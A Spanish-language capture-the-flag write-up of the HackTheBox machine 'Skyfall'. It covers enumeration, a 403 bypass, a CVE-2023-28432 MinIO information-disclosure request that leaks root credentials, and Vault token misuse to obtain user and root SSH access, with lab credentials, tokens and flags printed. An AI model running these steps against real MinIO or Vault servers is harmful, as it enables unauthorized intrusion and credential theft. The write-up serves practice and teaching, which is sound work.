Skyfall es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Insane.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina skyfall 10.129.218.161 a /etc/hosts como skyfall.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.218.161 Nmap scan report for 10.129.218.161 Host is up, received reset ttl 63 (0.042s latency). Scanned at 2024-02-05 14:39:41 GMT for 13s Not shown: 65145 closed tcp ports (reset), 388 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Mon Feb 5 14:39:54 2024 -- 1 IP address (1 host up) scanned in 13.91 seconds |
Descubiertos los puertos abiertos lanzamos un segundo escaneo para obtener más información de los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.129.218.161 Nmap scan report for 10.129.218.161 Host is up (0.041s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA) |_ 256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Skyfall - Introducing Sky Storage! Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Feb 5 14:41:10 2024 -- 1 IP address (1 host up) scanned in 16.45 seconds |
Enumeración
Accedemos a través del puerto 80 a la página web existente y vemos la siguiente ventana
Revisamos y enumeramos el portal web pero no encontramos mucha cosa así que procedemos a enumerar subdominios
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ ffuf -u http://skyfall.htb -w /data/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.skyfall.htb" -t 100 -fs 20631,0 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.0.0-dev ________________________________________________ :: Method : GET :: URL : http://skyfall.htb :: Wordlist : FUZZ: /data/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt :: Header : Host: FUZZ.skyfall.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 100 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 :: Filter : Response size: 20631,0 ________________________________________________ [Status: 302, Size: 218, Words: 21, Lines: 4, Duration: 70ms] * FUZZ: demo |
Hemos encontrado el subdominio de demo.skyfall.htb así que lo añadimos al fichero hosts y accedemos a través del navegador
En la misma vemos un formulario de login en el cual aparecen unas credenciales así que las utilizamos para acceder al portal llegando a la siguiente página
Se trata de un dashboard de una aplicación para el almacenamiento de ficheros, en la cual vemos un enlace a métricas de MinIO, al acceder obtenemos un error 403 (Permission Denied) que podemos saltar de forma sencilla agregando al final de la uri el valor
|
1 |
%0a |
Una vez accedemos si bajamos al final del listado de variables encontramos un nuevo subdominio
Así que vamos a agregar el mismo al fichero hosts de nuevo y accedemos
Al acceder directamente al dominio nos devuelve un error de acceso, pero si accedemos a la uri que vimos en la página de demo nos devuelve la configuración de MinIO
Y entre las mismas podemos ver el commit de la versión utilizada
|
1 2 3 4 |
# HELP minio_software_commit_info Git commit hash for the MinIO release # TYPE minio_software_commit_info gauge minio_software_commit_info{commit="c7f7e67a100ce35af559e3f49a2ed0b67deaa919",server="minio-node1:9000"} 0 minio_software_commit_info{commit="c7f7e67a100ce35af559e3f49a2ed0b67deaa919",server="minio-node2:9000"} 0 |
Obteniendo información de MinIO
Vamos a nuestro amigo google y encontramos la vulnerabilidad CVE-2023-28432 que se trata de una vulnerabilidad de Info Disclosure.
https://www.pingsafe.com/blog/cve-2023-28432-minio-information-disclosure-vulnerability/
Así que siguiendo la poc, lanzamos una petición para obtener los datos de MinIO
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 |
$ curl -s -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify | jq . { "MinioEndpoints": [ { "Legacy": false, "SetCount": 1, "DrivesPerSet": 4, "Endpoints": [ { "Scheme": "http", "Opaque": "", "User": null, "Host": "minio-node1:9000", "Path": "/data1", "RawPath": "", "OmitHost": false, "ForceQuery": false, "RawQuery": "", "Fragment": "", "RawFragment": "", "IsLocal": true }, { "Scheme": "http", "Opaque": "", "User": null, "Host": "minio-node2:9000", "Path": "/data1", "RawPath": "", "OmitHost": false, "ForceQuery": false, "RawQuery": "", "Fragment": "", "RawFragment": "", "IsLocal": false }, { "Scheme": "http", "Opaque": "", "User": null, "Host": "minio-node1:9000", "Path": "/data2", "RawPath": "", "OmitHost": false, "ForceQuery": false, "RawQuery": "", "Fragment": "", "RawFragment": "", "IsLocal": true }, { "Scheme": "http", "Opaque": "", "User": null, "Host": "minio-node2:9000", "Path": "/data2", "RawPath": "", "OmitHost": false, "ForceQuery": false, "RawQuery": "", "Fragment": "", "RawFragment": "", "IsLocal": false } ], "CmdLine": "http://minio-node{1...2}/data{1...2}", "Platform": "OS: linux | Arch: amd64" } ], "MinioEnv": { "MINIO_ACCESS_KEY_FILE": "access_key", "MINIO_BROWSER": "off", "MINIO_CONFIG_ENV_FILE": "config.env", "MINIO_KMS_SECRET_KEY_FILE": "kms_master_key", "MINIO_PROMETHEUS_AUTH_TYPE": "public", "MINIO_ROOT_PASSWORD": "GkpjkmiVmpFuL2d3oRx0", "MINIO_ROOT_PASSWORD_FILE": "secret_key", "MINIO_ROOT_USER": "5GrE1B2YGGyZzNHZaIww", "MINIO_ROOT_USER_FILE": "access_key", "MINIO_SECRET_KEY_FILE": "secret_key", "MINIO_UPDATE": "off", "MINIO_UPDATE_MINISIGN_PUBKEY": "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav" } } |
En la petición anterior, si nos fijamos bien, tenemos unas credenciales, así que vamos a conectarnos a MinIO con dichas credenciales y la app MinIO Admin Client
|
1 2 3 |
$ curl https://dl.min.io/client/mc/release/linux-amd64/mc --create-dirs -o /data/tools/minio/bin/mc $ chmod +x /data/tools/minio/bin/mc $ export PATH="$PATH:/data/tools/minio/bin/" |
En primer lugar nos conectaremos a MinIO
|
1 2 3 4 5 6 |
$ mc alias set skyfall http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0 mc: Configuration written to `/home/asdf/.mc/config.json`. Please update your access credentials. mc: Successfully created `/home/asdf/.mc/share`. mc: Initialized share uploads `/home/asdf/.mc/share/uploads.json` file. mc: Initialized share downloads `/home/asdf/.mc/share/downloads.json` file. Added `skyfall` successfully. |
Y listaremos los ficheros y directorios existentes
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ mc ls --recursive --versions skyfall [2023-11-08 04:59:15 GMT] 0B askyy/ [2023-11-08 05:35:28 GMT] 48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf [2023-11-09 21:37:25 GMT] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz [2023-11-09 21:37:09 GMT] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz [2023-11-09 21:36:30 GMT] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz [2023-11-08 04:58:56 GMT] 0B btanner/ [2023-11-08 05:35:36 GMT] 48KiB STANDARD null v1 PUT btanner/Welcome.pdf [2023-11-08 04:58:33 GMT] 0B emoneypenny/ [2023-11-08 05:35:56 GMT] 48KiB STANDARD null v1 PUT emoneypenny/Welcome.pdf [2023-11-08 04:58:22 GMT] 0B gmallory/ [2023-11-08 05:36:02 GMT] 48KiB STANDARD null v1 PUT gmallory/Welcome.pdf [2023-11-08 00:08:01 GMT] 0B guest/ [2023-11-08 00:08:05 GMT] 48KiB STANDARD null v1 PUT guest/Welcome.pdf [2023-11-08 04:59:05 GMT] 0B jbond/ [2023-11-08 05:35:45 GMT] 48KiB STANDARD null v1 PUT jbond/Welcome.pdf [2023-11-08 04:58:10 GMT] 0B omansfield/ [2023-11-08 05:36:09 GMT] 48KiB STANDARD null v1 PUT omansfield/Welcome.pdf [2023-11-08 04:58:45 GMT] 0B rsilva/ [2023-11-08 05:35:51 GMT] 48KiB STANDARD null v1 PUT rsilva/Welcome.pdf |
Vemos un fichero tar.gz en la carpeta así que nos descargamos todas las versiones que vemos
|
1 2 3 4 |
$ ./mc cp --recursive skyfall/askyy/home_backup.tar.gz . ...me_backup.tar.gz: 2.48 KiB / 2.48 KiB ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 8.13 KiB/s 0s $ ./mc cp --vid 3c498578-8dfe-43b7-b679-32a3fe42018f skyfall/askyy/home_backup.tar.gz . ...me_backup.tar.gz: 1.18 MiB / 1.18 MiB ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.21 MiB/s 0s |
Revisamos el contenido de los ficheros y en el primero encontramos una clave ssh
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 |
$ tree -a . ├── .bash_history ├── .bash_logout ├── .bashrc ├── .cache │ └── motd.legal-displayed ├── home_backup.tar.gz ├── .profile ├── .ssh │ ├── authorized_keys │ ├── id_rsa │ └── id_rsa.pub ├── .sudo_as_admin_successful ├── terraform-generator │ ├── .eslintrc.json │ ├── .git │ │ ├── branches │ │ ├── config │ │ ├── description │ │ ├── HEAD │ │ ├── hooks │ │ │ ├── applypatch-msg.sample │ │ │ ├── commit-msg.sample │ │ │ ├── fsmonitor-watchman.sample │ │ │ ├── post-update.sample │ │ │ ├── pre-applypatch.sample │ │ │ ├── pre-commit.sample │ │ │ ├── pre-merge-commit.sample │ │ │ ├── prepare-commit-msg.sample │ │ │ ├── pre-push.sample │ │ │ ├── pre-rebase.sample │ │ │ ├── pre-receive.sample │ │ │ ├── push-to-checkout.sample │ │ │ └── update.sample │ │ ├── index │ │ ├── info │ │ │ └── exclude │ │ ├── logs │ │ │ ├── HEAD │ │ │ └── refs │ │ │ ├── heads │ │ │ │ └── master │ │ │ └── remotes │ │ │ └── origin │ │ │ └── HEAD │ │ ├── objects │ │ │ ├── info │ │ │ └── pack │ │ │ ├── pack-9888b0ac7119ce72431515a301d072e9592fa065.idx │ │ │ └── pack-9888b0ac7119ce72431515a301d072e9592fa065.pack │ │ ├── packed-refs │ │ └── refs │ │ ├── heads │ │ │ └── master │ │ ├── remotes │ │ │ └── origin │ │ │ └── HEAD │ │ └── tags │ ├── .github │ │ ├── FUNDING.yml │ │ ├── ISSUE_TEMPLATE │ │ │ ├── bug_report.md │ │ │ └── feature_request.md │ │ └── workflows │ │ └── nodejs.yml │ ├── .gitignore │ ├── jest.config.json │ ├── LICENSE │ ├── package.json │ ├── package-lock.json │ ├── README.md │ ├── src │ │ ├── arguments │ │ │ ├── Argument.ts │ │ │ ├── Attribute.ts │ │ │ ├── Function.ts │ │ │ ├── Heredoc.ts │ │ │ └── index.ts │ │ ├── blocks │ │ │ ├── Backend.ts │ │ │ ├── Block.ts │ │ │ ├── Comment.ts │ │ │ ├── Data.ts │ │ │ ├── index.ts │ │ │ ├── Locals.ts │ │ │ ├── Module.ts │ │ │ ├── Output.ts │ │ │ ├── Provider.ts │ │ │ ├── Provisioner.ts │ │ │ ├── Resource.ts │ │ │ └── Variable.ts │ │ ├── index.ts │ │ ├── TerraformGenerator.ts │ │ ├── types │ │ │ ├── index.ts │ │ │ ├── List.ts │ │ │ └── Map.ts │ │ └── Util.ts │ ├── test │ │ ├── arguments │ │ │ ├── Argument.test.ts │ │ │ ├── Attribute.test.ts │ │ │ ├── Function.test.ts │ │ │ └── Heredoc.test.ts │ │ ├── blocks │ │ │ ├── Backend.test.ts │ │ │ ├── Block.test.ts │ │ │ ├── Comment.test.ts │ │ │ ├── Data.test.ts │ │ │ ├── Locals.test.ts │ │ │ ├── Module.test.ts │ │ │ ├── Output.test.ts │ │ │ ├── Provider.test.ts │ │ │ ├── Provisioner.test.ts │ │ │ ├── Resource.test.ts │ │ │ ├── __snapshots__ │ │ │ │ ├── Backend.test.ts.snap │ │ │ │ ├── Block.test.ts.snap │ │ │ │ ├── Comment.test.ts.snap │ │ │ │ ├── Data.test.ts.snap │ │ │ │ ├── Locals.test.ts.snap │ │ │ │ ├── Module.test.ts.snap │ │ │ │ ├── Output.test.ts.snap │ │ │ │ ├── Provider.test.ts.snap │ │ │ │ ├── Provisioner.test.ts.snap │ │ │ │ ├── Resource.test.ts.snap │ │ │ │ └── Variable.test.ts.snap │ │ │ └── Variable.test.ts │ │ ├── index.ts │ │ └── tfg │ │ ├── Base.test.ts │ │ ├── Others.test.ts │ │ └── __snapshots__ │ │ ├── Base.test.ts.snap │ │ └── Others.test.ts.snap │ ├── tsconfig.json │ ├── typedoc.json │ └── .vscode │ └── settings.json └── .viminfo 35 directories, 105 files |
Y en la segunda encontramos otro subdominio en el fichero .bashrc
|
1 2 3 |
$ cat .bashrc |grep VAULT export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb" export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE" |
Conectando a vault
Con lo descubierto hasta el momento vamos a investigar acerca de vault.
Vault nos proporciona una forma de crear una clave de inicio de sesión de un sólo uso y para ello necesitaremos en primer lugar configurarnos la tool vault-ssh-helper.
Una vez configurada utilizaremos las credenciales obtenidas para que el servidor vault las verifique y, al iniciar sesión en este, nos proporcionará un código otp que necesitaremos para conectarnos al servidor.
Con todo esto vamos a descargarnos la herramienta de vault y revisaremos la documentación de la misma para ver como funciona.
Una vez instalada la herramienta y revisada la documentación, exportamos las variables necesarias
|
1 2 |
export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb" export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE" |
Y nos logueamos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ ./vault login Token (will be hidden): WARNING! The VAULT_TOKEN environment variable is set! The value of this variable will take precedence; if this is unwanted please unset VAULT_TOKEN or update its value accordingly. Success! You are now authenticated. The token information displayed below is already stored in the token helper. You do NOT need to run "vault login" again. Future Vault requests will automatically use this token. Key Value --- ----- token hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE token_accessor rByv1coOBC9ITZpzqbDtTUm8 token_duration 435893h21m53s token_renewable true token_policies ["default" "developers"] identity_policies [] policies ["default" "developers"] |
Solicitamos entonces el código OTP
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ curl -H "X-Vault-Token: $VAULT_TOKEN" -X POST -d '{"ip":"10.129.218.161", "username":"askyy"}' $VAULT_ADDR/v1/ssh/creds/dev_otp_key_role -s | jq . { "request_id": "1757eb81-edd6-fed4-3311-a016e0f72dc3", "lease_id": "ssh/creds/dev_otp_key_role/107GhNMVm3NgtfRNHHOWNyBH", "renewable": false, "lease_duration": 2764800, "data": { "ip": "10.129.218.161", "key": "d1f64adf-4053-4a55-675d-4e96f83f76d2", "key_type": "otp", "port": 22, "username": "askyy" }, "wrap_info": null, "warnings": null, "auth": null } |
Y nos conectaremos por ssh con el código obtenido
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ ssh -i askyy.pem askyy@skyfall.htb (askyy@skyfall.htb) Password: Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-92-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. askyy@skyfall:~$ id uid=1000(askyy) gid=1000(askyy) groups=1000(askyy) |
Obteniendo la flag de user
Una vez dentro vamos a coger la primera flag
|
1 2 3 4 5 6 |
askyy@skyfall:~$ ls -l total 4 -rw-r----- 1 root askyy 33 Feb 5 09:27 user.txt askyy@skyfall:~$ cat user.txt 4d67c57f4134a09ce4d15a2c3c2be58a askyy@skyfall:~$ |
Escalado de privilegios
Para el escalado a root, revisamos los privilegios del usuario askyy
|
1 2 3 4 5 6 7 |
askyy@skyfall:~$ sudo -l Matching Defaults entries for askyy on skyfall: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User askyy may run the following commands on skyfall: (ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml [-vhd]* (ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml |
Y vemos que podemos ejecutar con privilegios elevados la herramienta vault-unseal así que vamos a ejecutar para probar la misma y la salida que devuelve
|
1 2 3 4 5 6 7 8 9 10 |
$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -v [+] Reading: /etc/vault-unseal.yaml [-] Security Risk! [-] Master token found in config: **************************** [>] Enable 'debug' mode for details [+] Found Vault node: http://prd23-vault-internal.skyfall.htb [>] Check interval: 5s [>] Max checks: 5 [>] Checking seal status [+] Vault sealed: false |
Revisando la ayuda y documentación de la tool podemos especificar un fichero de debug en el que almacenar el log, así que lo probamos
|
1 2 3 4 5 6 7 8 |
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -v -d /home/askyy/debug.log [+] Reading: /etc/vault-unseal.yaml [-] Security Risk! [+] Found Vault node: http://prd23-vault-internal.skyfall.htb [>] Check interval: 5s [>] Max checks: 5 [>] Checking seal status [+] Vault sealed: false |
Y encontramos un token en el fichero de debug generado
|
1 2 3 4 5 6 7 8 9 10 11 12 |
askyy@skyfall:~$ cat debug.log 2024/02/05 15:57:15 Initializing logger... 2024/02/05 15:57:15 Reading: /etc/vault-unseal.yaml 2024/02/05 15:57:15 Security Risk! 2024/02/05 15:57:15 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG 2024/02/05 15:57:15 Found Vault node: http://prd23-vault-internal.skyfall.htb 2024/02/05 15:57:15 Check interval: 5s 2024/02/05 15:57:15 Max checks: 5 2024/02/05 15:57:15 Establishing connection to Vault... 2024/02/05 15:57:15 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb 2024/02/05 15:57:15 Checking seal status 2024/02/05 15:57:15 Vault sealed: false |
Con el token obtenido vamos a conectarnos de nuevo a vault
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ ./vault login Token (will be hidden): WARNING! The VAULT_TOKEN environment variable is set! The value of this variable will take precedence; if this is unwanted please unset VAULT_TOKEN or update its value accordingly. Success! You are now authenticated. The token information displayed below is already stored in the token helper. You do NOT need to run "vault login" again. Future Vault requests will automatically use this token. Key Value --- ----- token hvs.I0ewVsmaKU1SwVZAKR3T0mmG token_accessor bXBeXR3r92WGQ8XgEDx6pIFu token_duration ∞ token_renewable false token_policies ["root"] identity_policies [] policies ["root"] |
Y encontramos la clave del usuario admin
|
1 2 3 4 5 |
$ ./vault list -address="$VAULT_ADDR" ssh/roles Keys ---- admin_otp_key_role dev_otp_key_role |
Así que vamos a repetir el proceso previo, pero en este caso, vamos a obtener el código otp del usuario admin
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ curl -H "X-Vault-Token: hvs.I0ewVsmaKU1SwVZAKR3T0mmG" -X POST -d '{"ip":"10.129.218.161", "username":"root"}' $VAULT_ADDR/v1/ssh/creds/admin_otp_key_role -s |jq . { "request_id": "b64a6918-f2d7-9128-c0dd-62dceec80031", "lease_id": "ssh/creds/admin_otp_key_role/83K5nKroq04t3PRMvUFL0Ni5", "renewable": false, "lease_duration": 2764800, "data": { "ip": "10.129.218.161", "key": "c40e7d6f-068b-8d5d-0690-ad40a94c6afb", "key_type": "otp", "port": 22, "username": "root" }, "wrap_info": null, "warnings": null, "auth": null } |
Y con el mismo conectamos como root al servidor
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ ssh root@skyfall.htb (root@skyfall.htb) Password: Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-92-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Tue Jan 30 12:17:37 2024 root@skyfall:~# id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Una vez que ya somos root vamos a por nuestra ansiada flag
|
1 2 3 4 5 6 7 8 9 |
root@skyfall:~# ls -l total 16 drwxr-x--- 6 root root 4096 Jan 18 10:44 minio -rw-r----- 1 root root 33 Feb 5 09:27 root.txt drwxr-x--- 6 root root 4096 Nov 9 21:46 sky_storage drwxr-x--- 3 root root 4096 Jan 10 21:15 vault root@skyfall:~# cat root.txt cc6435bf6d73994229b97f5249adb7be root@skyfall:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
